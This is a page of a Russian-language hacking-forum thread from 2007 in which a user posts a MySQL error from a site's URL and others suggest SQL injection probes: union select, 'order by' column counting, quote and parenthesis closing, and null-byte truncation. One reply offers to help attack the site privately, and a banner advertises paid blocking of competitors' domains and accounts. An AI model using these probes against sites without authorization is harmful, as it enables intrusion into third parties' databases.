Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 41 из 2422

Опции темы

Поиск в этой теме

Опции просмотра

10.12.2007, 03:49

Momiji

Постоянный

Регистрация: 25.08.2007

Сообщений: 530

Провел на форуме:
3926698

Репутация: 1446

А просто запостить в раздел инъекций можно?
P.S. может кому-нибудь понадобится.

Последний раз редактировалось Momiji; 10.12.2007 в 04:06..

10.12.2007, 08:01

Iceangel_

Постоянный

Регистрация: 09.07.2006

Сообщений: 553

Провел на форуме:
7561206

Репутация: 1861

Цитата:

Сообщение от Momiji

А просто запостить в раздел инъекций можно?
P.S. может кому-нибудь понадобится.

Не можно, а нужно =)...
Если ваша уязвимость на сайте понравится участникам форума, то вам за это даже репутацию повысят...

10.12.2007, 15:40

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

Есть сайт вида

Код:

http://www.site.ru/11/15/

При подстановке одинарной кавычки

Код:

http://www.site.ru/11/15'/

Плюет :

Код:

Ошибка
Внутренняя ошибка

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') AND `id` IN (SELECT `nid` FROM `node__access` WHERE `r` = 1 AND `uid` IN (408' at line 1

И отсюда у меня 2 вопроса:

это инъект ?
если да, то какого вида должен быть запрос?

10.12.2007, 15:44

+toxa+

[Лишённый самовыражени

Регистрация: 16.01.2005

Сообщений: 1,787

Провел на форуме:
9751379

Репутация: 3812

Отправить сообщение для +toxa+ с помощью AIM

попробуй
http://www.site.ru/11/15+union+select+blablabla+from+hekbla--+/

__________________

10.12.2007, 15:49

ЛифчиС5СВ

Постоянный

Регистрация: 09.03.2007

Сообщений: 323

Провел на форуме:
1552920

Репутация: 369

ZAMUT,
все то же самое:

Код:

'+order+by+1+--+

И вот чуток похожая тема, с такими же SQLi'ями:
http://forum.antichat.ru/thread51680.html

Последний раз редактировалось ЛифчиС5СВ; 10.12.2007 в 15:51..

10.12.2007, 15:57

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

Плюнул:

Код:

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union+select+blablabla+from+hekbla--+) AND `id` IN (SELECT `nid` FROM `node__acc' at line 1

10.12.2007, 16:22

Spyder

Members of Antichat - Level 5

Регистрация: 09.10.2006

Сообщений: 1,698

Провел на форуме:
9098076

Репутация: 4303

http://www.site.ru/11/15')+order+by+1/*

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

10.12.2007, 16:36

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

Цитата:

Сообщение от Spyder

http://www.site.ru/11/15')+order+by+1/*

Код:

Внутренняя ошибка

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')+order+by+1) AND `id` IN (SELECT `nid` FROM `node__access` WHERE `r` = 1 AND `' at line 1

10.12.2007, 18:33

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

Провел на форуме:
5939734

Репутация: 1917

мм, попробуй тогда:
http://www.site.ru/11/15)+order+by+1%00

если неполочится попробуй

http://www.site.ru/11/15')+order+by+1%00

я чет с просони не совсем понял нужна кавычка или нет

Еще не понял, почему в запрос + идут, вобщем кидай в ЛС сайт, попробую помочь

__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 10.12.2007 в 18:40..

#10

10.12.2007, 23:39

+toxa+

[Лишённый самовыражени

Регистрация: 16.01.2005

Сообщений: 1,787

Провел на форуме:
9751379

Репутация: 3812

там не нужна ковычка, а запрос который дал я не выполнится, ибо нет колонки blablabla и таблицы hekbla не существует

__________________

Страница 41 из 2422

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules